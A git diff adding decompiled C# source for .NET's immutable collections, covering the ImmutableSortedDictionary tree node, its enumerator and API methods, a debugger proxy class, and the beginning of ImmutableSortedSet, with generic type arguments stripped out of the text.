+ + private int _enumeratingBuilderVersion; + + public KeyValuePair Current + { + get + { + ThrowIfDisposed(); + if (_current != null) + { + return _current.Value; + } + throw new InvalidOperationException(); + } + } + + int ISecurePooledObjectUser.PoolUserId => _poolUserId; + + object IEnumerator.Current => Current; + + internal Enumerator(Node root, Builder? builder = null) + { + Requires.NotNull(root, "root"); + _root = root; + _builder = builder; + _current = null; + _enumeratingBuilderVersion = builder?.Version ?? (-1); + _poolUserId = SecureObjectPool.NewId(); + _stack = null; + if (!_root.IsEmpty) + { + if (!SecureObjectPool>, Enumerator>.TryTake(this, out _stack)) + { + _stack = SecureObjectPool>, Enumerator>.PrepNew(this, new Stack>(root.Height)); + } + PushLeft(_root); + } + } + + public void Dispose() + { + _root = null; + _current = null; + if (_stack != null && _stack.TryUse(ref this, out var value)) + { + value.ClearFastWhenEmpty(); + SecureObjectPool>, Enumerator>.TryAdd(this, _stack); + } + _stack = null; + } + + public bool MoveNext() + { + ThrowIfDisposed(); + ThrowIfChanged(); + if (_stack != null) + { + Stack> stack = _stack.Use(ref this); + if (stack.Count > 0) + { + PushLeft((_current = stack.Pop().Value).Right); + return true; + } + } + _current = null; + return false; + } + + public void Reset() + { + ThrowIfDisposed(); + _enumeratingBuilderVersion = ((_builder != null) ? _builder.Version : (-1)); + _current = null; + if (_stack != null) + { + Stack> stack = _stack.Use(ref this); + stack.ClearFastWhenEmpty(); + PushLeft(_root); + } + } + + internal void ThrowIfDisposed() + { + if (_root == null || (_stack != null && !_stack.IsOwned(ref this))) + { + Requires.FailObjectDisposed(this); + } + } + + private void ThrowIfChanged() + { + if (_builder != null && _builder.Version != _enumeratingBuilderVersion) + { + throw new InvalidOperationException(System.SR.CollectionModifiedDuringEnumeration); + } + } + + private void PushLeft(Node node) + { + Requires.NotNull(node, "node"); + Stack> stack = _stack.Use(ref this); + while (!node.IsEmpty) + { + stack.Push(new RefAsValueType(node)); + node = node.Left; + } + } + } + + [DebuggerDisplay("{_key} = {_value}")] + internal sealed class Node : IBinaryTree>, IBinaryTree, IEnumerable>, IEnumerable + { + internal static readonly Node EmptyNode = new Node(); + + private readonly TKey _key; + + private readonly TValue _value; + + private bool _frozen; + + private byte _height; + + private Node _left; + + private Node _right; + + public bool IsEmpty => _left == null; + + IBinaryTree>? IBinaryTree>.Left => _left; + + IBinaryTree>? IBinaryTree>.Right => _right; + + public int Height => _height; + + public Node? Left => _left; + + IBinaryTree? IBinaryTree.Left => _left; + + public Node? Right => _right; + + IBinaryTree? IBinaryTree.Right => _right; + + public KeyValuePair Value => new KeyValuePair(_key, _value); + + int IBinaryTree.Count + { + get + { + throw new NotSupportedException(); + } + } + + internal IEnumerable Keys => this.Select((KeyValuePair p) => p.Key); + + internal IEnumerable Values => this.Select((KeyValuePair p) => p.Value); + + private Node() + { + _frozen = true; + } + + private Node(TKey key, TValue value, Node left, Node right, bool frozen = false) + { + Requires.NotNullAllowStructs(key, "key"); + Requires.NotNull(left, "left"); + Requires.NotNull(right, "right"); + _key = key; + _value = value; + _left = left; + _right = right; + _height = checked((byte)(1 + Math.Max(left._height, right._height))); + _frozen = frozen; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + internal Enumerator GetEnumerator(Builder builder) + { + return new Enumerator(this, builder); + } + + internal void CopyTo(KeyValuePair[] array, int arrayIndex, int dictionarySize) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + dictionarySize, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + array[arrayIndex++] = current; + } + } + + internal void CopyTo(Array array, int arrayIndex, int dictionarySize) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + dictionarySize, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + array.SetValue(new DictionaryEntry(current.Key, current.Value), arrayIndex++); + } + } + + internal static Node NodeTreeFromSortedDictionary(SortedDictionary dictionary) + { + Requires.NotNull(dictionary, "dictionary"); + IOrderedCollection> orderedCollection = dictionary.AsOrderedCollection(); + return NodeTreeFromList(orderedCollection, 0, orderedCollection.Count); + } + + internal Node Add(TKey key, TValue value, IComparer keyComparer, IEqualityComparer valueComparer, out bool mutated) + { + Requires.NotNullAllowStructs(key, "key"); + Requires.NotNull(keyComparer, "keyComparer"); + Requires.NotNull(valueComparer, "valueComparer"); + bool replacedExistingValue; + return SetOrAdd(key, value, keyComparer, valueComparer, overwriteExistingValue: false, out replacedExistingValue, out mutated); + } + + internal Node SetItem(TKey key, TValue value, IComparer keyComparer, IEqualityComparer valueComparer, out bool replacedExistingValue, out bool mutated) + { + Requires.NotNullAllowStructs(key, "key"); + Requires.NotNull(keyComparer, "keyComparer"); + Requires.NotNull(valueComparer, "valueComparer"); + return SetOrAdd(key, value, keyComparer, valueComparer, overwriteExistingValue: true, out replacedExistingValue, out mutated); + } + + internal Node Remove(TKey key, IComparer keyComparer, out bool mutated) + { + Requires.NotNullAllowStructs(key, "key"); + Requires.NotNull(keyComparer, "keyComparer"); + return RemoveRecursive(key, keyComparer, out mutated); + } + + internal ref readonly TValue ValueRef(TKey key, IComparer keyComparer) + { + Requires.NotNullAllowStructs(key, "key"); + Requires.NotNull(keyComparer, "keyComparer"); + Node node = Search(key, keyComparer); + if (node.IsEmpty) + { + throw new KeyNotFoundException(System.SR.Format(System.SR.Arg_KeyNotFoundWithKey, key.ToString())); + } + return ref node._value; + } + + internal bool TryGetValue(TKey key, IComparer keyComparer, [MaybeNullWhen(false)] out TValue value) + { + Requires.NotNullAllowStructs(key, "key"); + Requires.NotNull(keyComparer, "keyComparer"); + Node node = Search(key, keyComparer); + if (node.IsEmpty) + { + value = default(TValue); + return false; + } + value = node._value; + return true; + } + + internal bool TryGetKey(TKey equalKey, IComparer keyComparer, out TKey actualKey) + { + Requires.NotNullAllowStructs(equalKey, "equalKey"); + Requires.NotNull(keyComparer, "keyComparer"); + Node node = Search(equalKey, keyComparer); + if (node.IsEmpty) + { + actualKey = equalKey; + return false; + } + actualKey = node._key; + return true; + } + + internal bool ContainsKey(TKey key, IComparer keyComparer) + { + Requires.NotNullAllowStructs(key, "key"); + Requires.NotNull(keyComparer, "keyComparer"); + return !Search(key, keyComparer).IsEmpty; + } + + internal bool ContainsValue(TValue value, IEqualityComparer valueComparer) + { + Requires.NotNull(valueComparer, "valueComparer"); + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + if (valueComparer.Equals(value, enumerator.Current.Value)) + { + return true; + } + } + } + return false; + } + + internal bool Contains(KeyValuePair pair, IComparer keyComparer, IEqualityComparer valueComparer) + { + Requires.NotNullAllowStructs(pair.Key, "Key"); + Requires.NotNull(keyComparer, "keyComparer"); + Requires.NotNull(valueComparer, "valueComparer"); + Node node = Search(pair.Key, keyComparer); + if (node.IsEmpty) + { + return false; + } + return valueComparer.Equals(node._value, pair.Value); + } + + internal void Freeze() + { + if (!_frozen) + { + _left.Freeze(); + _right.Freeze(); + _frozen = true; + } + } + + private static Node RotateLeft(Node tree) + { + Requires.NotNull(tree, "tree"); + if (tree._right.IsEmpty) + { + return tree; + } + Node right = tree._right; + return right.Mutate(tree.Mutate(null, right._left)); + } + + private static Node RotateRight(Node tree) + { + Requires.NotNull(tree, "tree"); + if (tree._left.IsEmpty) + { + return tree; + } + Node left = tree._left; + return left.Mutate(null, tree.Mutate(left._right)); + } + + private static Node DoubleLeft(Node tree) + { + Requires.NotNull(tree, "tree"); + if (tree._right.IsEmpty) + { + return tree; + } + Node tree2 = tree.Mutate(null, RotateRight(tree._right)); + return RotateLeft(tree2); + } + + private static Node DoubleRight(Node tree) + { + Requires.NotNull(tree, "tree"); + if (tree._left.IsEmpty) + { + return tree; + } + Node tree2 = tree.Mutate(RotateLeft(tree._left)); + return RotateRight(tree2); + } + + private static int Balance(Node tree) + { + Requires.NotNull(tree, "tree"); + return tree._right._height - tree._left._height; + } + + private static bool IsRightHeavy(Node tree) + { + Requires.NotNull(tree, "tree"); + return Balance(tree) >= 2; + } + + private static bool IsLeftHeavy(Node tree) + { + Requires.NotNull(tree, "tree"); + return Balance(tree) <= -2; + } + + private static Node MakeBalanced(Node tree) + { + Requires.NotNull(tree, "tree"); + if (IsRightHeavy(tree)) + { + if (Balance(tree._right) >= 0) + { + return RotateLeft(tree); + } + return DoubleLeft(tree); + } + if (IsLeftHeavy(tree)) + { + if (Balance(tree._left) <= 0) + { + return RotateRight(tree); + } + return DoubleRight(tree); + } + return tree; + } + + private static Node NodeTreeFromList(IOrderedCollection> items, int start, int length) + { + Requires.NotNull(items, "items"); + Requires.Range(start >= 0, "start"); + Requires.Range(length >= 0, "length"); + if (length == 0) + { + return EmptyNode; + } + int num = (length - 1) / 2; + int num2 = length - 1 - num; + Node left = NodeTreeFromList(items, start, num2); + Node right = NodeTreeFromList(items, start + num2 + 1, num); + KeyValuePair keyValuePair = items[start + num2]; + return new Node(keyValuePair.Key, keyValuePair.Value, left, right, frozen: true); + } + + private Node SetOrAdd(TKey key, TValue value, IComparer keyComparer, IEqualityComparer valueComparer, bool overwriteExistingValue, out bool replacedExistingValue, out bool mutated) + { + replacedExistingValue = false; + if (IsEmpty) + { + mutated = true; + return new Node(key, value, this, this); + } + Node node = this; + int num = keyComparer.Compare(key, _key); + if (num > 0) + { + Node right = _right.SetOrAdd(key, value, keyComparer, valueComparer, overwriteExistingValue, out replacedExistingValue, out mutated); + if (mutated) + { + node = Mutate(null, right); + } + } + else if (num < 0) + { + Node left = _left.SetOrAdd(key, value, keyComparer, valueComparer, overwriteExistingValue, out replacedExistingValue, out mutated); + if (mutated) + { + node = Mutate(left); + } + } + else + { + if (valueComparer.Equals(_value, value)) + { + mutated = false; + return this; + } + if (!overwriteExistingValue) + { + throw new ArgumentException(System.SR.Format(System.SR.DuplicateKey, key)); + } + mutated = true; + replacedExistingValue = true; + node = new Node(key, value, _left, _right); + } + if (!mutated) + { + return node; + } + return MakeBalanced(node); + } + + private Node RemoveRecursive(TKey key, IComparer keyComparer, out bool mutated) + { + if (IsEmpty) + { + mutated = false; + return this; + } + Node node = this; + int num = keyComparer.Compare(key, _key); + if (num == 0) + { + mutated = true; + if (_right.IsEmpty && _left.IsEmpty) + { + node = EmptyNode; + } + else if (_right.IsEmpty && !_left.IsEmpty) + { + node = _left; + } + else if (!_right.IsEmpty && _left.IsEmpty) + { + node = _right; + } + else + { + Node node2 = _right; + while (!node2._left.IsEmpty) + { + node2 = node2._left; + } + bool mutated2; + Node right = _right.Remove(node2._key, keyComparer, out mutated2); + node = node2.Mutate(_left, right); + } + } + else if (num < 0) + { + Node left = _left.Remove(key, keyComparer, out mutated); + if (mutated) + { + node = Mutate(left); + } + } + else + { + Node right2 = _right.Remove(key, keyComparer, out mutated); + if (mutated) + { + node = Mutate(null, right2); + } + } + if (!node.IsEmpty) + { + return MakeBalanced(node); + } + return node; + } + + private Node Mutate(Node left = null, Node right = null) + { + if (_frozen) + { + return new Node(_key, _value, left ?? _left, right ?? _right); + } + if (left != null) + { + _left = left; + } + if (right != null) + { + _right = right; + } + _height = checked((byte)(1 + Math.Max(_left._height, _right._height))); + return this; + } + + private Node Search(TKey key, IComparer keyComparer) + { + if (IsEmpty) + { + return this; + } + int num = keyComparer.Compare(key, _key); + if (num == 0) + { + return this; + } + if (num > 0) + { + return _right.Search(key, keyComparer); + } + return _left.Search(key, keyComparer); + } + } + + public static readonly ImmutableSortedDictionary Empty = new ImmutableSortedDictionary(); + + private readonly Node _root; + + private readonly int _count; + + private readonly IComparer _keyComparer; + + private readonly IEqualityComparer _valueComparer; + + public IEqualityComparer ValueComparer => _valueComparer; + + public bool IsEmpty => _root.IsEmpty; + + public int Count => _count; + + public IEnumerable Keys => _root.Keys; + + public IEnumerable Values => _root.Values; + + ICollection IDictionary.Keys => new KeysCollectionAccessor(this); + + ICollection IDictionary.Values => new ValuesCollectionAccessor(this); + + bool ICollection>.IsReadOnly => true; + + public IComparer KeyComparer => _keyComparer; + + internal Node Root => _root; + + public TValue this[TKey key] + { + get + { + Requires.NotNullAllowStructs(key, "key"); + if (TryGetValue(key, out var value)) + { + return value; + } + throw new KeyNotFoundException(System.SR.Format(System.SR.Arg_KeyNotFoundWithKey, key.ToString())); + } + } + + TValue IDictionary.this[TKey key] + { + get + { + return this[key]; + } + set + { + throw new NotSupportedException(); + } + } + + bool IDictionary.IsFixedSize => true; + + bool IDictionary.IsReadOnly => true; + + ICollection IDictionary.Keys => new KeysCollectionAccessor(this); + + ICollection IDictionary.Values => new ValuesCollectionAccessor(this); + + object? IDictionary.this[object key] + { + get + { + return this[(TKey)key]; + } + set + { + throw new NotSupportedException(); + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot => this; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => true; + + internal ImmutableSortedDictionary(IComparer? keyComparer = null, IEqualityComparer? valueComparer = null) + { + _keyComparer = keyComparer ?? Comparer.Default; + _valueComparer = valueComparer ?? EqualityComparer.Default; + _root = Node.EmptyNode; + } + + private ImmutableSortedDictionary(Node root, int count, IComparer keyComparer, IEqualityComparer valueComparer) + { + Requires.NotNull(root, "root"); + Requires.Range(count >= 0, "count"); + Requires.NotNull(keyComparer, "keyComparer"); + Requires.NotNull(valueComparer, "valueComparer"); + root.Freeze(); + _root = root; + _count = count; + _keyComparer = keyComparer; + _valueComparer = valueComparer; + } + + public ImmutableSortedDictionary Clear() + { + if (!_root.IsEmpty) + { + return Empty.WithComparers(_keyComparer, _valueComparer); + } + return this; + } + + IImmutableDictionary IImmutableDictionary.Clear() + { + return Clear(); + } + + public ref readonly TValue ValueRef(TKey key) + { + Requires.NotNullAllowStructs(key, "key"); + return ref _root.ValueRef(key, _keyComparer); + } + + public Builder ToBuilder() + { + return new Builder(this); + } + + public ImmutableSortedDictionary Add(TKey key, TValue value) + { + Requires.NotNullAllowStructs(key, "key"); + bool mutated; + Node root = _root.Add(key, value, _keyComparer, _valueComparer, out mutated); + return Wrap(root, _count + 1); + } + + public ImmutableSortedDictionary SetItem(TKey key, TValue value) + { + Requires.NotNullAllowStructs(key, "key"); + bool replacedExistingValue; + bool mutated; + Node root = _root.SetItem(key, value, _keyComparer, _valueComparer, out replacedExistingValue, out mutated); + return Wrap(root, replacedExistingValue ? _count : (_count + 1)); + } + + public ImmutableSortedDictionary SetItems(IEnumerable> items) + { + Requires.NotNull(items, "items"); + return AddRange(items, overwriteOnCollision: true, avoidToSortedMap: false); + } + + public ImmutableSortedDictionary AddRange(IEnumerable> items) + { + Requires.NotNull(items, "items"); + return AddRange(items, overwriteOnCollision: false, avoidToSortedMap: false); + } + + public ImmutableSortedDictionary Remove(TKey value) + { + Requires.NotNullAllowStructs(value, "value"); + bool mutated; + Node root = _root.Remove(value, _keyComparer, out mutated); + return Wrap(root, _count - 1); + } + + public ImmutableSortedDictionary RemoveRange(IEnumerable keys) + { + Requires.NotNull(keys, "keys"); + Node node = _root; + int num = _count; + foreach (TKey key in keys) + { + bool mutated; + Node node2 = node.Remove(key, _keyComparer, out mutated); + if (mutated) + { + node = node2; + num--; + } + } + return Wrap(node, num); + } + + public ImmutableSortedDictionary WithComparers(IComparer? keyComparer, IEqualityComparer? valueComparer) + { + if (keyComparer == null) + { + keyComparer = Comparer.Default; + } + if (valueComparer == null) + { + valueComparer = EqualityComparer.Default; + } + if (keyComparer == _keyComparer) + { + if (valueComparer == _valueComparer) + { + return this; + } + return new ImmutableSortedDictionary(_root, _count, _keyComparer, valueComparer); + } + ImmutableSortedDictionary immutableSortedDictionary = new ImmutableSortedDictionary(Node.EmptyNode, 0, keyComparer, valueComparer); + return immutableSortedDictionary.AddRange(this, overwriteOnCollision: false, avoidToSortedMap: true); + } + + public ImmutableSortedDictionary WithComparers(IComparer? keyComparer) + { + return WithComparers(keyComparer, _valueComparer); + } + + public bool ContainsValue(TValue value) + { + return _root.ContainsValue(value, _valueComparer); + } + + IImmutableDictionary IImmutableDictionary.Add(TKey key, TValue value) + { + return Add(key, value); + } + + IImmutableDictionary IImmutableDictionary.SetItem(TKey key, TValue value) + { + return SetItem(key, value); + } + + IImmutableDictionary IImmutableDictionary.SetItems(IEnumerable> items) + { + return SetItems(items); + } + + IImmutableDictionary IImmutableDictionary.AddRange(IEnumerable> pairs) + { + return AddRange(pairs); + } + + IImmutableDictionary IImmutableDictionary.RemoveRange(IEnumerable keys) + { + return RemoveRange(keys); + } + + IImmutableDictionary IImmutableDictionary.Remove(TKey key) + { + return Remove(key); + } + + public bool ContainsKey(TKey key) + { + Requires.NotNullAllowStructs(key, "key"); + return _root.ContainsKey(key, _keyComparer); + } + + public bool Contains(KeyValuePair pair) + { + return _root.Contains(pair, _keyComparer, _valueComparer); + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + Requires.NotNullAllowStructs(key, "key"); + return _root.TryGetValue(key, _keyComparer, out value); + } + + public bool TryGetKey(TKey equalKey, out TKey actualKey) + { + Requires.NotNullAllowStructs(equalKey, "equalKey"); + return _root.TryGetKey(equalKey, _keyComparer, out actualKey); + } + + void IDictionary.Add(TKey key, TValue value) + { + throw new NotSupportedException(); + } + + bool IDictionary.Remove(TKey key) + { + throw new NotSupportedException(); + } + + void ICollection>.Add(KeyValuePair item) + { + throw new NotSupportedException(); + } + + void ICollection>.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection>.Remove(KeyValuePair item) + { + throw new NotSupportedException(); + } + + void ICollection>.CopyTo(KeyValuePair[] array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + array[arrayIndex++] = current; + } + } + + void IDictionary.Add(object key, object value) + { + throw new NotSupportedException(); + } + + bool IDictionary.Contains(object key) + { + return ContainsKey((TKey)key); + } + + IDictionaryEnumerator IDictionary.GetEnumerator() + { + return new DictionaryEnumerator(GetEnumerator()); + } + + void IDictionary.Remove(object key) + { + throw new NotSupportedException(); + } + + void IDictionary.Clear() + { + throw new NotSupportedException(); + } + + void ICollection.CopyTo(Array array, int index) + { + _root.CopyTo(array, index, Count); + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + if (!IsEmpty) + { + return GetEnumerator(); + } + return Enumerable.Empty>().GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public Enumerator GetEnumerator() + { + return _root.GetEnumerator(); + } + + private static ImmutableSortedDictionary Wrap(Node root, int count, IComparer keyComparer, IEqualityComparer valueComparer) + { + if (!root.IsEmpty) + { + return new ImmutableSortedDictionary(root, count, keyComparer, valueComparer); + } + return Empty.WithComparers(keyComparer, valueComparer); + } + + private static bool TryCastToImmutableMap(IEnumerable> sequence, [NotNullWhen(true)] out ImmutableSortedDictionary other) + { + other = sequence as ImmutableSortedDictionary; + if (other != null) + { + return true; + } + if (sequence is Builder builder) + { + other = builder.ToImmutable(); + return true; + } + return false; + } + + private ImmutableSortedDictionary AddRange(IEnumerable> items, bool overwriteOnCollision, bool avoidToSortedMap) + { + Requires.NotNull(items, "items"); + if (IsEmpty && !avoidToSortedMap) + { + return FillFromEmpty(items, overwriteOnCollision); + } + Node node = _root; + int num = _count; + foreach (KeyValuePair item in items) + { + bool replacedExistingValue = false; + bool mutated; + Node node2 = (overwriteOnCollision ? node.SetItem(item.Key, item.Value, _keyComparer, _valueComparer, out replacedExistingValue, out mutated) : node.Add(item.Key, item.Value, _keyComparer, _valueComparer, out mutated)); + if (mutated) + { + node = node2; + if (!replacedExistingValue) + { + num++; + } + } + } + return Wrap(node, num); + } + + private ImmutableSortedDictionary Wrap(Node root, int adjustedCountIfDifferentRoot) + { + if (_root != root) + { + if (!root.IsEmpty) + { + return new ImmutableSortedDictionary(root, adjustedCountIfDifferentRoot, _keyComparer, _valueComparer); + } + return Clear(); + } + return this; + } + + private ImmutableSortedDictionary FillFromEmpty(IEnumerable> items, bool overwriteOnCollision) + { + Requires.NotNull(items, "items"); + if (TryCastToImmutableMap(items, out var other)) + { + return other.WithComparers(KeyComparer, ValueComparer); + } + SortedDictionary sortedDictionary; + if (items is IDictionary dictionary) + { + sortedDictionary = new SortedDictionary(dictionary, KeyComparer); + } + else + { + sortedDictionary = new SortedDictionary(KeyComparer); + foreach (KeyValuePair item in items) + { + TValue value; + if (overwriteOnCollision) + { + sortedDictionary[item.Key] = item.Value; + } + else if (sortedDictionary.TryGetValue(item.Key, out value)) + { + if (!_valueComparer.Equals(value, item.Value)) + { + throw new ArgumentException(System.SR.Format(System.SR.DuplicateKey, item.Key)); + } + } + else + { + sortedDictionary.Add(item.Key, item.Value); + } + } + } + if (sortedDictionary.Count == 0) + { + return this; + } + Node root = Node.NodeTreeFromSortedDictionary(sortedDictionary); + return new ImmutableSortedDictionary(root, sortedDictionary.Count, KeyComparer, ValueComparer); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedDictionaryBuilderDebuggerProxy.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedDictionaryBuilderDebuggerProxy.cs new file mode 100644 index 0000000..509c381 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedDictionaryBuilderDebuggerProxy.cs @@ -0,0 +1,20 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace System.Collections.Immutable; + +internal sealed class ImmutableSortedDictionaryBuilderDebuggerProxy where TKey : notnull +{ + private readonly ImmutableSortedDictionary.Builder _map; + + private KeyValuePair[] _contents; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public KeyValuePair[] Contents => _contents ?? (_contents = _map.ToArray(_map.Count)); + + public ImmutableSortedDictionaryBuilderDebuggerProxy(ImmutableSortedDictionary.Builder map) + { + Requires.NotNull(map, "map"); + _map = map; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedSet.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedSet.cs new file mode 100644 index 0000000..7d2f8f7 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableSortedSet.cs @@ -0,0 +1,1507 @@ +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; + +namespace System.Collections.Immutable; + +public static class ImmutableSortedSet +{ + public static ImmutableSortedSet Create() + { + return ImmutableSortedSet.Empty; + } + + public static ImmutableSortedSet Create(IComparer? comparer) + { + return ImmutableSortedSet.Empty.WithComparer(comparer); + } + + public static ImmutableSortedSet Create(T item) + { + return ImmutableSortedSet.Empty.Add(item); + } + + public static ImmutableSortedSet Create(IComparer? comparer, T item) + { + return ImmutableSortedSet.Empty.WithComparer(comparer).Add(item); + } + + public static ImmutableSortedSet CreateRange(IEnumerable items) + { + return ImmutableSortedSet.Empty.Union(items); + } + + public static ImmutableSortedSet CreateRange(IComparer? comparer, IEnumerable items) + { + return ImmutableSortedSet.Empty.WithComparer(comparer).Union(items); + } + + public static ImmutableSortedSet Create(params T[] items) + { + return ImmutableSortedSet.Empty.Union(items); + } + + public static ImmutableSortedSet Create(IComparer? comparer, params T[] items) + { + return ImmutableSortedSet.Empty.WithComparer(comparer).Union(items); + } + + public static ImmutableSortedSet.Builder CreateBuilder() + { + return Create().ToBuilder(); + } + + public static ImmutableSortedSet.Builder CreateBuilder(IComparer? comparer) + { + return Create(comparer).ToBuilder(); + } + + public static ImmutableSortedSet ToImmutableSortedSet(this IEnumerable source, IComparer? comparer) + { + if (source is ImmutableSortedSet immutableSortedSet) + { + return immutableSortedSet.WithComparer(comparer); + } + return ImmutableSortedSet.Empty.WithComparer(comparer).Union(source); + } + + public static ImmutableSortedSet ToImmutableSortedSet(this IEnumerable source) + { + return source.ToImmutableSortedSet(null); + } + + public static ImmutableSortedSet ToImmutableSortedSet(this ImmutableSortedSet.Builder builder) + { + Requires.NotNull(builder, "builder"); + return builder.ToImmutable(); + } +} +[DebuggerDisplay("Count = {Count}")] +[DebuggerTypeProxy(typeof(ImmutableEnumerableDebuggerProxy<>))] +public sealed class ImmutableSortedSet : IImmutableSet, IReadOnlyCollection, IEnumerable, IEnumerable, ISortKeyCollection, IReadOnlyList, IList, ICollection, ISet, IList, ICollection, IStrongEnumerable.Enumerator> +{ + [DebuggerDisplay("Count = {Count}")] + [DebuggerTypeProxy(typeof(ImmutableSortedSetBuilderDebuggerProxy<>))] + public sealed class Builder : ISortKeyCollection, IReadOnlyCollection, IEnumerable, IEnumerable, ISet, ICollection, ICollection + { + private Node _root = Node.EmptyNode; + + private IComparer _comparer = Comparer.Default; + + private ImmutableSortedSet _immutable; + + private int _version; + + private object _syncRoot; + + public int Count => Root.Count; + + bool ICollection.IsReadOnly => false; + + public T this[int index] => _root.ItemRef(index); + + public T? Max => _root.Max; + + public T? Min => _root.Min; + + public IComparer KeyComparer + { + get + { + return _comparer; + } + set + { + Requires.NotNull(value, "value"); + if (value == _comparer) + { + return; + } + Node node = Node.EmptyNode; + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + node = node.Add(current, value, out var _); + } + } + _immutable = null; + _comparer = value; + Root = node; + } + } + + internal int Version => _version; + + private Node Root + { + get + { + return _root; + } + set + { + _version++; + if (_root != value) + { + _root = value; + _immutable = null; + } + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => false; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot + { + get + { + if (_syncRoot == null) + { + Interlocked.CompareExchange(ref _syncRoot, new object(), (object)null); + } + return _syncRoot; + } + } + + internal Builder(ImmutableSortedSet set) + { + Requires.NotNull(set, "set"); + _root = set._root; + _comparer = set.KeyComparer; + _immutable = set; + } + + public ref readonly T ItemRef(int index) + { + return ref _root.ItemRef(index); + } + + public bool Add(T item) + { + Root = Root.Add(item, _comparer, out var mutated); + return mutated; + } + + public void ExceptWith(IEnumerable other) + { + Requires.NotNull(other, "other"); + foreach (T item in other) + { + Root = Root.Remove(item, _comparer, out var _); + } + } + + public void IntersectWith(IEnumerable other) + { + Requires.NotNull(other, "other"); + Node node = Node.EmptyNode; + foreach (T item in other) + { + if (Contains(item)) + { + node = node.Add(item, _comparer, out var _); + } + } + Root = node; + } + + public bool IsProperSubsetOf(IEnumerable other) + { + return ToImmutable().IsProperSubsetOf(other); + } + + public bool IsProperSupersetOf(IEnumerable other) + { + return ToImmutable().IsProperSupersetOf(other); + } + + public bool IsSubsetOf(IEnumerable other) + { + return ToImmutable().IsSubsetOf(other); + } + + public bool IsSupersetOf(IEnumerable other) + { + return ToImmutable().IsSupersetOf(other); + } + + public bool Overlaps(IEnumerable other) + { + return ToImmutable().Overlaps(other); + } + + public bool SetEquals(IEnumerable other) + { + return ToImmutable().SetEquals(other); + } + + public void SymmetricExceptWith(IEnumerable other) + { + Root = ToImmutable().SymmetricExcept(other)._root; + } + + public void UnionWith(IEnumerable other) + { + Requires.NotNull(other, "other"); + foreach (T item in other) + { + Root = Root.Add(item, _comparer, out var _); + } + } + + void ICollection.Add(T item) + { + Add(item); + } + + public void Clear() + { + Root = Node.EmptyNode; + } + + public bool Contains(T item) + { + return Root.Contains(item, _comparer); + } + + void ICollection.CopyTo(T[] array, int arrayIndex) + { + _root.CopyTo(array, arrayIndex); + } + + public bool Remove(T item) + { + Root = Root.Remove(item, _comparer, out var mutated); + return mutated; + } + + public ImmutableSortedSet.Enumerator GetEnumerator() + { + return Root.GetEnumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return Root.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public int IndexOf(T item) + { + return Root.IndexOf(item, _comparer); + } + + public IEnumerable Reverse() + { + return new ReverseEnumerable(_root); + } + + public ImmutableSortedSet ToImmutable() + { + return _immutable ?? (_immutable = ImmutableSortedSet.Wrap(Root, _comparer)); + } + + public bool TryGetValue(T equalValue, out T actualValue) + { + Node node = _root.Search(equalValue, _comparer); + if (!node.IsEmpty) + { + actualValue = node.Key; + return true; + } + actualValue = equalValue; + return false; + } + + void ICollection.CopyTo(Array array, int arrayIndex) + { + Root.CopyTo(array, arrayIndex); + } + } + + private sealed class ReverseEnumerable : IEnumerable, IEnumerable + { + private readonly Node _root; + + internal ReverseEnumerable(Node root) + { + Requires.NotNull(root, "root"); + _root = root; + } + + public IEnumerator GetEnumerator() + { + return _root.Reverse(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + public struct Enumerator : IEnumerator, IDisposable, IEnumerator, ISecurePooledObjectUser, IStrongEnumerator + { + private readonly Builder _builder; + + private readonly int _poolUserId; + + private readonly bool _reverse; + + private Node _root; + + private SecurePooledObject>> _stack; + + private Node _current; + + private int _enumeratingBuilderVersion; + + int ISecurePooledObjectUser.PoolUserId => _poolUserId; + + public T Current + { + get + { + ThrowIfDisposed(); + if (_current != null) + { + return _current.Value; + } + throw new InvalidOperationException(); + } 